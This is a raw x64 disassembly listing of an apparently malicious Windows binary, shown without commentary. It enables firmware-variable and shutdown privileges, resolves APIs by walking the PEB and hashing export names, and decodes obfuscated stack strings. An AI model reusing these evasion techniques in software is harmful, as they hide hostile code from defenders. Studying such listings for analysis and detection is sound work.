cmp eax, 0x3f0
jne 0x140016bb5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x38]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140016bb5
mov r14d, 1
mov dword [rbp + 8], r14d
mov esi, 2
mov dword [rbp + 0x14], esi
mov qword [rbp + 0xc], reloc.WS2_32.dll_sendto
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 0xf]
lea r8, [rbp + 8]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, eax
mov qword [rbp + 0xc], 0xa
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 0xf]
lea r8, [rbp + 8]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test ebx, ebx
je 0x140016bb5
test eax, eax
je 0x140016bb5
xor bl, bl
mov qword [rbp - 0x40], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x40]
lea edx, [rsi + 0x26]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400167df
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0xc]
lea rdx, str.SeSystemEnvironmentPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400152c7
mov dword [rbp - 0x10], r14d
mov dword [rbp - 4], esi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0xc]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14001530e
mov dword [rbp - 0x10], r14d
mov dword [rbp - 4], esi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x1400167e9
call fcn.14005f240
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
lea rcx, [rbp - 0x30]
call fcn.1400113e0
movabs rdx, 0x3d18c65b51d20edb
lea rcx, [rbp - 0x30]
call fcn.140011cb0
mov qword [0x1401cf258], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x140015372
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
jmp 0x1400154d7
movabs rdx, 0xa3e86b9f7a20b19a
call fcn.140011cb0
mov qword [0x1401cf250], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x1400153a6
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
jmp 0x1400154d7
movabs rdx, 0x5afed1193811099
call fcn.140011cb0
mov qword [0x1401cf280], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x1400153da
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
jmp 0x1400154d7
movabs rdx, 0xae01160ee15e6840
call fcn.140011cb0
mov qword [0x1401cf270], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x14001540e
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
jmp 0x1400154d7
movabs rdx, 0xcf7aec834cc5a39d
call fcn.140011cb0
mov qword [0x1401cf268], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x140015442
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
jmp 0x1400154d7
movabs rdx, 0x6bed4a20ab1a3bb2
call fcn.140011cb0
mov qword [0x1401cf278], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x140015473
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
jmp 0x1400154d7
movabs rdx, 0x854eca64b17f3f9f
call fcn.140011cb0
mov qword [0x1401cf240], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x1400154a4
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
jmp 0x1400154d7
movabs rdx, 0xa9f0298243afc7d4
call fcn.140011cb0
mov qword [0x1401cf260], rax
lea rcx, [rbp - 0x30]
test rax, rax
jne 0x1400159ee
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
mov cl, 0x6c
mov dl, 0x6a
mov r8b, 0x78
movzx r9d, cl
mov r10b, 0x76
mov r11b, 0xa1
mov bl, 0x6b
mov dil, 0x71
mov sil, 0x70
mov r14b, 0x7c
mov r15b, 0x72
mov r12b, 0x8b
xorps xmm0, xmm0
xor r13d, r13d
movups xmmword [rsp + 0x3c], xmm0
movzx eax, cl
and al, 0x41
sub byte [rbp - 0x68], al
mov eax, dword [rbp - 0x68]
add al, al
add cl, al
mov byte [rsp + 0x30], cl
movzx ecx, dl
and cl, 0x42
add cl, cl
mov eax, 0x7b
sub al, cl
add dl, al
mov byte [rsp + 0x31], dl
movzx eax, r8b
and al, 0x43
mov ecx, 0x3e
sub cl, al
add cl, cl
add r8b, cl
mov byte [rsp + 0x32], r8b
movzx ecx, r9b
and cl, 0x44
add cl, cl
mov eax, 0x7d
sub al, cl
add r9b, al
mov byte [rsp + 0x33], r9b
movzx eax, r10b
and al, 0x45
mov ecx, 0x3f
sub cl, al
add cl, cl
add r10b, cl
mov byte [rsp + 0x34], r10b
movzx ecx, r11b
and cl, 0x46
add cl, cl
mov eax, 0x7f
sub al, cl
add r11b, al
mov byte [rsp + 0x35], r11b
movzx ecx, bl
and cl, 0x47
add cl, cl
mov eax, 0x80
sub al, cl
add bl, al
mov byte [rsp + 0x36], bl
movzx ecx, dil
and cl, 0x48
add cl, cl
mov eax, 0x81
sub al, cl
add dil, al
mov byte [rsp + 0x37], dil
movzx ecx, sil
and cl, 0x49
add cl, cl
mov eax, 0x82
sub al, cl
add sil, al
mov byte [rsp + 0x38], sil
movzx ecx, r14b
and cl, 0x4a
add cl, cl
mov eax, 0x83
sub al, cl
add r14b, al
mov byte [rsp + 0x39], r14b
movzx ecx, r15b
and cl, 0x4b
add cl, cl
mov eax, 0x84
sub al, cl
add r15b, al
mov byte [rsp + 0x3a], r15b
movzx ecx, r12b
and cl, 0x4c
add cl, cl
mov eax, 0x85
sub al, cl
add r12b, al
mov byte [rsp + 0x3b], r12b
movd edx, xmm0
movzx ecx, dl
and cl, 0x4d
add cl, cl
mov eax, 0x86
sub al, cl
add dl, al
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x4e
add cl, cl
mov eax, 0x87
sub al, cl
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0x4f
add cl, cl
mov eax, 0x88
sub al, cl
add dl, al
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x50
add cl, cl
mov eax, 0x89
sub al, cl
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0x51
add cl, cl
mov eax, 0x8a
sub al, cl
add dl, al
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x52
add cl, cl
mov eax, 0x8b
sub al, cl
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0x53
add cl, cl
mov eax, 0x8c
sub al, cl
add dl, al
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x54
add cl, cl
mov eax, 0x8d
sub al, cl
add dl, al
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx ecx, dl
and cl, 0x55
add cl, cl
mov eax, 0x8e
sub al, cl
add dl, al
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x56
add cl, cl
mov eax, 0x8f
sub al, cl
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx ecx, dl
and cl, 0x57
add cl, cl
mov eax, 0x90
sub al, cl
add dl, al
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x58
add cl, cl
mov eax, 0x91
sub al, cl
add dl, al
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x48]
movzx ecx, dl
and cl, 0x59
add cl, cl
mov eax, 0x92
sub al, cl
add dl, al
mov byte [rsp + 0x48], dl
movzx edx, byte [rsp + 0x49]
movzx ecx, dl
and cl, 0x5a
add cl, cl
mov eax, 0x93
sub al, cl
add dl, al
mov byte [rsp + 0x49], dl
movzx edx, byte [rsp + 0x4a]
movzx ecx, dl
and cl, 0x5b
add cl, cl
mov eax, 0x94
sub al, cl
add dl, al
mov byte [rsp + 0x4a], dl
movzx edx, byte [rsp + 0x4b]
movzx ecx, dl
and cl, 0x5c
add cl, cl
mov eax, 0x95
sub al, cl
add dl, al
mov byte [rsp + 0x4b], dl
movzx ecx, r13b
and cl, 0x5d
add cl, cl
mov eax, 0x96
sub al, cl
add r13b, al
mov byte [rsp + 0x4c], r13b
mov dword [rsp + 0x58], 0x77736a6c
mov dword [rsp + 0x5c], 0x73206d69
mov dword [rsp + 0x60], 0x797b2d7f
mov dword [rsp + 0x64], 0x6a28757d
mov dword [rsp + 0x68], 0x78686891
mov word [rsp + 0x6c], 0x3e61
mov byte [rsp + 0x6e], reloc.WS2_32.dll_recv
xor eax, eax
movups xmmword [rsp + 0x6f], xmm0
mov dword [rsp + 0x7f], eax
mov word [rbp - 0x7d], ax
xor r8d, r8d
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rsp + r8 + 0x58]
lea edx, [r8 - 0x7f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x58], dl
movzx ecx, byte [rsp + r8 + 0x59]
lea edx, [r8 - 0x7e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x59], dl
movzx ecx, byte [rsp + r8 + 0x5a]
lea edx, [r8 - 0x7d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x5a], dl
movzx ecx, byte [rsp + r8 + 0x5b]
lea edx, [r8 - 0x7c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x5b], dl
movzx ecx, byte [rsp + r8 + 0x5c]
lea edx, [r8 - 0x7b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x5c], dl
movzx ecx, byte [rsp + r8 + 0x5d]
lea edx, [r8 - 0x7a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x5d], dl
movzx edx, byte [rsp + r8 + 0x5e]
lea ecx, [r8 - 0x79]
and cl, dl
add cl, cl
movzx eax, r8b
sub al, cl
add al, dl
mov byte [rsp + r8 + 0x5e], al
movzx ecx, byte [rsp + r8 + 0x5f]
lea edx, [r8 - 0x78]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x5f], dl
movzx ecx, byte [rsp + r8 + 0x60]
lea edx, [r8 - 0x77]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x60], dl
movzx ecx, byte [rsp + r8 + 0x61]
lea edx, [r8 - 0x76]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x61], dl
movzx ecx, byte [rsp + r8 + 0x62]
lea edx, [r8 - 0x75]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x62], dl
movzx ecx, byte [rsp + r8 + 0x63]
lea edx, [r8 - 0x74]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x63], dl
movzx ecx, byte [rsp + r8 + 0x64]
lea edx, [r8 - 0x73]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x64], dl
movzx ecx, byte [rsp + r8 + 0x65]
lea edx, [r8 - 0x72]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x65], dl
movzx ecx, byte [rsp + r8 + 0x66]
lea edx, [r8 - 0x71]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x79
add dl, cl
mov byte [rsp + r8 + 0x66], dl
add r8, 0xf
cmp r8, 0x2d
jb 0x140015820
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x58]
jmp 0x140016e2f
call fcn.1400118b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400118b0
nop
movabs rcx, 0xacff7963fae19fa3
call fcn.140011b30
test rax, rax
je 0x140015eb2
mov cl, 0x78
mov dl, 0x72
mov r8b, 0x4c
mov r9b, 0x70
mov r10b, 0x46
mov r11b, 0x3d
mov bl, 0x73
mov dil, 0x4d
movzx esi, r8b
mov r14b, 0x48
mov r15b, 0x4a
mov r12b, 0xdb
xorps xmm0, xmm0
xor r13d, r13d
movups xmmword [rsp + 0x3c], xmm0
mov dword [rsp + 0x4c], r13d
movzx eax, cl
and al, 0x23
sub byte [rbp - 0x60], al
mov eax, dword [rbp - 0x60]
add al, al
add cl, al
mov byte [rsp + 0x30], cl
movzx eax, dl
and al, 0x24
add al, al
mov ecx, 0x2f
sub cl, al
add dl, cl
mov byte [rsp + 0x31], dl
movzx eax, r8b
and al, 0x25
mov ecx, 0x18
sub cl, al
add cl, cl
add r8b, cl
mov byte [rsp + 0x32], r8b
movzx eax, r9b
and al, 0x26
add al, al
mov ecx, 0x31
sub cl, al
add r9b, cl
mov byte [rsp + 0x33], r9b
movzx eax, r10b
and al, 0x27
mov ecx, 0x19
sub cl, al
add cl, cl
add r10b, cl
mov byte [rsp + 0x34], r10b
movzx eax, r11b
and al, 0x28
add al, al
mov ecx, 0x33
sub cl, al
add r11b, cl
mov byte [rsp + 0x35], r11b
movzx eax, bl
and al, 0x29
mov ecx, 0x1a
sub cl, al
add cl, cl
add bl, cl
mov byte [rsp + 0x36], bl
movzx ecx, dil
and cl, 0x2a
add cl, cl
mov eax, 0x35
sub al, cl
add dil, al
mov byte [rsp + 0x37], dil
movzx eax, sil
and al, 0x2b
mov ecx, 0x1b
sub cl, al
add cl, cl
add sil, cl
mov byte [rsp + 0x38], sil
movzx ecx, r14b
and cl, 0x2c
add cl, cl
mov eax, 0x37
sub al, cl
add r14b, al
mov byte [rsp + 0x39], r14b
movzx eax, r15b
and al, 0x2d
mov ecx, 0x1c
sub cl, al
add cl, cl
add r15b, cl
mov byte [rsp + 0x3a], r15b
movzx ecx, r12b
and cl, 0x2e
add cl, cl
mov eax, 0x39
sub al, cl
add r12b, al
mov byte [rsp + 0x3b], r12b
movd edx, xmm0
movzx eax, dl
and al, 0x2f
mov ecx, 0x1d
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x3c], dl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x30
add al, al
mov edx, 0x3b
sub dl, al
add cl, dl
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x31
mov ecx, 0x1e
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x32
add al, al
mov edx, dword [rbp - 0x68]
sub dl, al
add cl, dl
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x33
mov ecx, 0x1f
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x34
add al, al
mov edx, 0x3f
sub dl, al
add cl, dl
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x35
mov ecx, 0x20
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x36
add cl, cl
mov eax, 0x41
sub al, cl
add dl, al
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x37
mov ecx, 0x21
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x38
add cl, cl
mov eax, 0x43
sub al, cl
add dl, al
mov byte [rsp + 0x45], dl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0x39
mov edx, 0x22
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x46], cl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x3a
add cl, cl
mov eax, 0x45
sub al, cl
add dl, al
mov byte [rsp + 0x47], dl
movzx ecx, byte [rsp + 0x48]
movzx eax, cl
and al, 0x3b
mov edx, 0x23
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x48], cl
movzx edx, byte [rsp + 0x49]
movzx ecx, dl
and cl, 0x3c
add cl, cl
mov eax, 0x47
sub al, cl
add dl, al
mov byte [rsp + 0x49], dl
movzx ecx, byte [rsp + 0x4a]
movzx eax, cl
and al, 0x3d
mov edx, 0x24
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x4a], cl
movzx edx, byte [rsp + 0x4b]
movzx ecx, dl
and cl, 0x3e
add cl, cl
mov eax, 0x49
sub al, cl
add dl, al
mov byte [rsp + 0x4b], dl
movzx eax, r13b
and al, 0x3f
mov ecx, 0x25
sub cl, al
add cl, cl
add r13b, cl
mov byte [rsp + 0x4c], r13b
movzx edx, byte [rsp + 0x4d]
movzx ecx, dl
and cl, 0x40
add cl, cl
mov eax, 0x4b
sub al, cl
add dl, al
mov byte [rsp + 0x4d], dl
movzx ecx, byte [rsp + 0x4e]
movzx eax, cl
and al, 0x41
mov edx, 0x26
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x4e], cl
movzx edx, byte [rsp + 0x4f]
movzx ecx, dl
and cl, 0x42
add cl, cl
mov eax, 0x4d
sub al, cl
add dl, al
mov byte [rsp + 0x4f], dl
mov dword [rsp + 0x58], 0xcdccd0f3
mov dword [rsp + 0x5c], 0xc596c1cb
mov dword [rsp + 0x60], 0xbceab7bd
mov dword [rsp + 0x64], 0xaab2b4b4
mov dword [rsp + 0x68], 0x808384e0
mov dword [rsp + 0x6c], 0xe7b5bce4
mov dword [rsp + 0x70], 0xa5a4acaa
mov dword [rsp + 0x74], 0xfeb9a3a5
mov byte [rsp + 0x78], 0xd0
movups xmmword [rsp + 0x79], xmm0
xor r9d, r9d
nop dword [rax + rax]
movzx r8d, byte [rsp + r9 + 0x58]
lea edx, [r9 + 0x38]
movzx eax, r8b
and al, dl
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rsp + r9 + 0x58], cl
movzx edx, byte [rsp + r9 + 0x59]
lea r8d, [r9 + 0x39]
movzx eax, dl
and al, r8b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r9 + 0x59], cl
movzx edx, byte [rsp + r9 + 0x5a]
lea r8d, [r9 + 0x3a]
movzx eax, dl
and al, r8b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r9 + 0x5a], cl
movzx edx, byte [rsp + r9 + 0x5b]
lea r8d, [r9 + 0x3b]
movzx eax, dl
and al, r8b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r9 + 0x5b], cl
movzx edx, byte [rsp + r9 + 0x5c]
lea r8d, [r9 + 0x3c]
movzx eax, dl
and al, r8b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r9 + 0x5c], cl
movzx edx, byte [rsp + r9 + 0x5d]
lea r8d, [r9 + 0x3d]
movzx eax, dl
and al, r8b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r9 + 0x5d], cl
movzx edx, byte [rsp + r9 + 0x5e]
lea r8d, [r9 + 0x3e]
movzx eax, dl
and al, r8b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r9 + 0x5e], cl
add r9, 7
cmp r9, 0x31
jb 0x140015da0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x58]
jmp 0x140016e2f
mov r14d, edi
mov esi, 0xc2426160
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
cmp qword [rax + 0x30], 0
je 0x1400160da
cmp word [rax + 0x48], 0
je 0x1400160da
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x140015f53
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x8d662c8a
cmp r9, r11
je 0x140015f4a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140015f20
cmp r10d, r14d
jne 0x1400160da
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
shr r12, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x1400160da
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400160da
mov r13d, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [rbx*2]
add rcx, r13
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov qword [rbp - 0x38], rdx
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp rdx, rdi
jbe 0x140015fcf
lea rcx, [rdi + r12]
cmp rdx, rcx
jae 0x140015fcf
mov r15b, 1
jmp 0x140015fd2
xor r15b, r15b
mov r10d, 0x8d662c8a
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14001601f
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140015ff0
mov rdx, qword [rbp - 0x38]
cmp r10d, esi
je 0x14001603c
test ebx, ebx
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
jne 0x140015f90
mov rax, qword [rax]
jmp 0x140015ed0
test r15b, r15b
je 0x1400160e2
mov esi, 0x8d662c8a
mov r14d, esi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x14001608b
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x140016060
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x1400160c9
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x1400160a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140015ed0
mov dl, 0x96
mov r8b, 0x94
mov r9b, 0xed
mov r10b, 0xe2
mov r11b, 0xe1
mov bl, 0x9f
mov dil, 0xdb
mov sil, 0x9c
mov r14b, 0x9a
mov r15b, 0x95
mov r12b, 0xc
xor r13d, r13d
mov qword [rbp - 0x25], r13
movzx ecx, dl
and cl, 0x55
add cl, cl
mov eax, 2
sub al, cl
add dl, al
mov byte [rbp - 0x30], dl
movzx ecx, r8b
and cl, 0x56
add cl, cl
mov edx, 3
mov eax, edx
sub al, cl
add r8b, al
mov byte [rbp - 0x2f], r8b
movzx eax, r9b
and al, 0x57
mov ecx, 2
sub cl, al
add cl, cl
add r9b, cl
mov byte [rbp - 0x2e], r9b
movzx ecx, r10b
and cl, 0x58
add cl, cl
mov r8d, 5
mov eax, r8d
sub al, cl
add r10b, al
mov byte [rbp - 0x2d], r10b
movzx eax, r11b
and al, 0x59
sub dl, al
add dl, dl
add r11b, dl
mov byte [rbp - 0x2c], r11b
movzx ecx, bl
and cl, 0x5a
add cl, cl
mov r9d, 7
mov eax, r9d
sub al, cl
add bl, al
mov byte [rbp - 0x2b], bl
movzx eax, dil
and al, 0x5b
mov edx, 4
sub dl, al
add dl, dl
add dil, dl
mov byte [rbp - 0x2a], dil
movzx ecx, sil
and cl, 0x5c
add cl, cl
mov r10d, 9
mov eax, r10d
sub al, cl
add sil, al
mov byte [rbp - 0x29], sil
movzx eax, r14b
and al, 0x5d
sub r8b, al
add r8b, r8b
add r14b, r8b
mov byte [rbp - 0x28], r14b
movzx eax, r15b
and al, 0x5e
add al, al
mov ecx, 0xb
sub cl, al
add r15b, cl
mov byte [rbp - 0x27], r15b
movzx eax, r12b
and al, 0x5f
mov edx, 6
sub dl, al
add dl, dl
add r12b, dl
mov byte [rbp - 0x26], r12b
movzx eax, r13b
and al, 0x60
add al, al
mov ecx, recvfrom
sub cl, al
add r13b, cl
mov byte [rbp - 0x25], r13b
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0x61
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x62
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x63
mov edx, 8
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x64
add al, al
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0x65
sub r10b, al
add r10b, r10b
add cl, r10b
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x66
add al, al
mov edx, reloc.WS2_32.dll_send
sub dl, al
add cl, dl
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0x67
mov edx, 0xa
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x1e], cl
lea r8, [rbp - 0x30]
xor edx, edx
mov ecx, 0x1f0001
call qword [rbp - 0x38]
test rax, rax
jne 0x140016e3a
mov esi, 0x38612c50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
cmp qword [rax + 0x30], 0
je 0x1400164e1
cmp word [rax + 0x48], 0
je 0x1400164e1
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
mov r9, qword [rbp - 0x50]
test r9d, r9d
je 0x140016363
psrldq xmm0, 8
movq r10, xmm0
movzx ecx, cx
shr rcx, 1
lea rbx, [r10 + rcx*2]
mov r11d, 0x6aede7e6
cmp r10, rbx
je 0x14001635a
nop word [rax + rax]
movsx ecx, byte [r10]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r11d
imul r11d, r8d, 0x1000193
add r10, 2
cmp r10, rbx
jne 0x140016330
cmp r11d, r9d
jne 0x1400164e1
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r15, rdx
shr r15, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x1400164e1
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400164e1
mov r12d, dword [rdi + 0x24]
